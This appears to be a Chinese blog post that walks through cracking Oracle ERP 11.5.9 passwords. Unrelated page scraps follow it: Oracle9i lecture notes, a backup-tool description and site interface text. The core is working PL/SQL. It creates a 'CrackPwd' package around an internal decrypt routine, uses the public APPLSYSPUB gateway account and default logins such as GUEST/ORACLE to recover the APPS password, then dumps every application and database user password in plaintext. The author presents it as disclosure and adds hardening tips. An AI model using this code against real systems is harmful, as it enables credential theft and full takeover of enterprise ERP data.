破解Oracle ERP密码

1. 写作目的

2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下

(1).建立Package Header

(2).建立Package Body.

3. 取得APPS密码的步骤

4. 通过任何一个User name/password取得APPS密码的方法

5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法

6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法

7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法

8. 删除第一步建立的Package

9. 结论

10. 提高Oracle ERP的安全性

11. 此程序在Oracle ERP 11.5.9通过Toad测试通过



1。1.写作目的

在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.

公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.

2. 2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下

(1).建立Package Header

CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2;

END CrackPwd;



(2).建立Package Body

CREATE OR REPLACE PACKAGE BODY CrackPwd

AS

FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)

RETURN VARCHAR2

AS

LANGUAGE JAVA

NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

END CrackPwd;

/


3. 3. 取得APPS密码的步骤

假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码

4. 4. 通过任何一个User name/password取得APPS密码的方法

SET SERVEROUTPUT ON

DECLARE

guestUserPwd VARCHAR2(200);

guestUserName VARCHAR2(100);

guestFndPwd VARCHAR2(100);

guestEncFndPwd VARCHAR2(100);

delim NUMBER;

BEGIN

guestUserPwd :='GUEST/ORACLE';--Can any user password

IF guestUserPwd IS NULL THEN

guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));

END IF;

delim := INSTR(guestUserPwd,'/');

guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));

SELECT encrypted_foundation_password INTO guestEncFndPwd

FROM fnd_user_view

WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND

(end_date IS NULL OR end_date > SYSDATE);

guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);

IF NOT (guestFndPwd IS NULL) THEN

DBMS_OUTPUT.put_line(guestFndPwd);

END IF;

END;




注: guestUserPwd :='GUEST/ORACLE';--Can any user password

上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开

以上程序可以用toad执行

5. 5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法

SET SERVEROUT ON

DECLARE

v_encrypted_pwd VARCHAR2 (100);

v_apps_pwd VARCHAR2 (100);

v_user_pwd VARCHAR (100);

BEGIN

v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58

3C10B916D88062771250F4BE653891CA90671C74187B132118335';

--get ENCRYPTED_USER_PASSWORD from fnd_user

IF v_apps_pwd IS NULL

THEN

v_apps_pwd := 'APPS';

END IF;


v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);

DBMS_OUTPUT.put_line (v_user_pwd);

END;



6. 6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法

SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user



7. 7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法

select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou


8. 8. 删除第一步建立的Package

DROP PACKAGE CrackPwd



9. 9. 结论

11).只要知道fnd_user中任何一个人的密码就可以反推APPS的密码,即使将database中apps密码改掉也可以反推.
22).反过来只要知道了apps的密码,fnd_user中所有user的密码都可以反推
33).以此类推,只要知道fnd_user中任何一个人的密码就可以反推其它所有User的密码.
44).同理,oracle erp db user(table:fnd_oracle_userid)中密码的加密算法同fnd_user,也就是说只要知道了APPS的密码,则db user的所有密码都可以反推.

1010. 提高Oracle ERP的安全性

(1).更改APPS的密码

(2).更改所有预先安装的fnd_user中所有user的password

(3).更改oracle erp database中的所有user(通过table:fnd_oracle_userid进行查询)的password

(4).更改在Profile: GUEST_USER_PWD 中预先设置的GUEST账户密码

(5).尽量不要将Database 可以通过公网连接.

(6).User离职后要将其密码变更后才停用.

但此方法也无法防止内部User知道APPS密码,只有当你所有密码都更改过了,你才敢在公网上连接ERP的Database.

11.此程序在Oracle ERP 11.5.9通过
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Oracle9i备课笔记——吕海东 第1讲 Oracle9i简介 目的: 1. 了解数据库的发展,关系数据库的基本原理。 2. 了解目前市场上流行的数据库产品及特点 3. 了解Oracle数据库的发展 4. 掌握Oracle9i产品系列 5. 掌握Oracle9i Database Server的新特点及其在实际中的应用 6. 安装Oracle9i Database Server, Client及客户端常用工具TOAD7.5.2 授课内容: 1.1 作为软件开发人员,在当今就业市场上最应该掌握的技能: (1) 数据库技术:SQL Server, Oracle, DB2, Access, SQL, T-SQL, PL/SQL (2) 软件开发架构:J2SE, J2ME, J2EE, MS.NET (3) 开发语言: Java, C#.NET, J#.NET, VB.NET (4) Ineternet技术:HTML, XML, Web Service. JSP, ASP.NET, JSF (5) 软件工程:OOA, OOD, UML, RUP. (6) IDE开发工具:VS.NET 2003, JBuilderX, DreamwaverMX, Java Studio, IBM WebSpere Studio。 (7) 系统平台:Windows Server, Linux, Unix (8) 应用平台:IIS, Tomcat, Weblogic, WebShpere, Oracle AS. (9) 自然语言:英语,日语 1.2 学习Oracle数据库的重要性 (1) 数据库在当今世界的重要性。 (2) Oracle数据库的市场应用的广泛性。 (3) Oracle数据库的跨平台性,与Java语言对比说明。 (4) Oracle对大量数据管理的性能。数据的存储,修改,查询的性能是应用系统必须要考虑的首要因素。 1.3 Oracle数据库的特点: (1) 可移植性: (2) 跨硬件,软件平台 (3) 高性能,大容量 (4) 数据库的并发性:Oracle并发模型是独一无二的,优于IBM和Microsoft公司。大的ERP厂家都使用Oracle数据库的原因之一。 1.4 Oracle9i产品的构成 - Oracle9i已经不是一个简单的数据库服务器产品,而是一个完整的应用系统运行,开发平台。 - Oracle9i的产品系列包括: (1) Oracle9i Database Server (9iDS) (2) Oracle9i Application Server(9iAS): 支持J2EE架构的应用服务器。 (3) Oracle9i JDeveloper: IDE的java和Oracle应用开发工具。 (4) Form developer (5) Report Developer (6) Oracle9iDS的产品版本 (1) Enterprise Edition(企业版):带有数据仓库,OLTP的高级技术组件。高效的处理大数据量的技术支持。 (2) Standard Edition (标准版):适用于部门级的数据库规模。 (3) Personal Edition (个人版):单用户的开发测试系统。 1.5 Oracle9i数据库管理系统应用模式: (1) 客户/服务器模式: - Oracle9i数据库管理系统采用client/Server工作模式 - 数据库的核心运行在Server端:数据库的数据,管理系统,访问控制,安全控制,接受客户的请求,向客户发送响应信息都在服务器端完成。Server端要安装Oracle Server产品。 - 用户通过Oracle的客户端工具连接服务器端,向Server发送SQL命令,接收Server的发送结果,显示在client端的用户界面上。客户端要安装Oracle客户端软件。同时安装后要对客户端进行配置,以连接到某个数据库。 (2) 多层运行模式:针对Internet 1.6 Oracle服务器的标识 从Oracle8i开始,为了在Internet发布Oracle数据库,Oracle的标识采用了全局服务名的概念。 (1) 全局服务名:为了区分整个网络范围内的数据库,全局服务名的格式一般是:servername.companyname.com, 类似与Internet的域名规范。 (2) SID: System Identifier 系统标识的缩写,用于区分同一台服务器上不同的数据库例程。 1.7 Oracle9i数据库管理系统的安装 - Oracle9i DS的安装文件在3张CD上。 - 9i DS的要求环境: CPU: Pentium 166 above RAM: 最低128, 一般256, 最好512M。 HD: 空闲空间要求4G. OS: Server端要求windows 2000 server (SP3以上), 2003 Server. Client端: windows98, 2000 professional, windows ME, windows XP, 2000 Server. - 9iDS Server端安装: (1) DISK1 ->开始安装 (2) 选择安装路径 (3) 选择安装产品: (4) 选择版本: (5) 选择数据库配置: (6) 设定数据库标识: (7) 确定数据库文件的位置: (8) 确定数据库字符集 (9) 安装后自动进行的任务: <1> 网络配置助手完成网络的配置 <2> Oracle HTTP服务启动 <3> Oracle数据库配置助手完成数据库的创建和启动 <4> Oracle智能代理启动 (10) 显示服务器创建完成信息: (11) 进行数据库管理员的密码重新设定: - 9i DS client端安装: (1) DISK1在客户机上 (2) 选择产品:Oracle9i client (3) 选择客户端安装类型类型: <1>管理员类型:安装管理控制台,管理工具,网络服务,使用程序,和基本的客户端软件。 <2>运行时类型:只安装应用开发程序,网络服务,基本客户软件 <3>自定义:自己决定的组件安装。 (4) Oracle Net Configuration Assistant: (5) 配置client网络服务:使用Net Manager进行客户端的配置。 - Server上安装后的产品: - Client机器上的安装产品: - Server计算机上的服务:
针对浪潮ERP开发的数据库备份恢复工具。 DBGhost注意事项: 1、受ORACLE数据库系统本身限制,对于ORACLE账套只有本账套恢复时才能恢复操作员密码,即A账套备份出来的数据在B账套上恢复时无法恢复操作员原密码,将重置为默认密码; 2、由于增加备份操作员密码,备份文件包含内容发生变更,用DBGhostV2.0备份出来的文件在老版本上恢复时会遇到“您所选择的源文件不是合法文件”的提示,建议安装本版本恢复; 3、备份时系统会在操作系统的临时文件夹中创建临时压缩文件,如果系统盘所剩空间太少而数据库备份文件非常大,会出现无法形成压缩文件的错误; 4、由于受压缩算法限制,压缩文件最大不能超过2G,如遇到因数据库备份文件过大无法压缩的问题,建议采用WinRAR、7-ZIP之类的压缩工具对备份文件自行压缩; 5、受ORACLE数据库系统限制,如果A账套的数据备份出来在B账套上恢复,然后再从B账套备份出来恢复到C账套上,则在C账套上将出现凭证格式、 报表格式、打印格式丢失的问题(该问题在各个历史版本上都存在),单纯A账套备份A账套恢复或A账套备份B账套恢复时没问题。解决方法:第一次恢复出现提示时记下来缺少的表空间,如022。然后用WinRAR解压缩DBGhost备份文件,提取.Bak裸设备文件。采用DBGhost1.7或更高版本恢复,恢复时选择裸设备文件,出现要求输入数据库用户编号提示时输入类似lc0229999,这样系统会创建依赖表空间GS_ORADB_022,数据即可恢复。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值